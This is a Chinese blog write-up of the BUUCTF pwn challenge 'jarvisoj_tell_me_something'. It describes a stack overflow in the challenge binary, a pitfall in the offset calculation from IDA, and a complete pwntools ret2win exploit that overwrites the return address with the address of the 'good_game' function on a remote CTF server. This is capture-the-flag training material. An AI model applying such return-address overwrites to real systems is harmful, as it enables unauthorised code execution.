jarvisoj_tell_me_something【BUUCTF】

Mokapeng

于 2022-09-03 11:46:21 发布

阅读量253

点赞数

分类专栏： Linux PWN CTF训练文章标签： PWN 安全 linux

本文链接：https://blog.youkuaiyun.com/qq_41696518/article/details/126675634

版权

CTF训练同时被 3 个专栏收录

46 篇文章

订阅专栏

Linux

37 篇文章

订阅专栏

PWN

37 篇文章

订阅专栏

本文探讨了在IDA分析中发现的溢出漏洞，强调了通过IDA查找溢出大小的局限性，并分享了如何避开main函数的pushebp操作，成功利用溢出引导至漏洞函数的实践。经验分享包括完整exploit代码实例。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

在这里插入图片描述
发现只开启了NX，IDA分析：

明显存在溢出漏洞，并且发现存在漏洞函数：

那就很简单了，溢出指向漏洞函数即可，但此题有个小坑，其实最开始学pwn时会通过gdb查找溢出大小，但后面懒了就直接通过IDA查看，但IDA并不一定准确，并且题目本身也会有坑，比如该题。通常main函数会先执行push ebp的操作，如：
在这里插入图片描述
但本题，main函数没有push ebp的操作，所有溢出时不需要多加8字节ebp位置

完整exp：

from pwn import *
context.log_level = True
io=remote("node4.buuoj.cn", 29258)
elf = ELF("./guestbook")
good_game_addr = elf.symbols["good_game"]

payload = b'A'*(0x88) + p64(good_game_addr)
io.recvline()
io.sendline(payload)
io.recv()
io.interactive()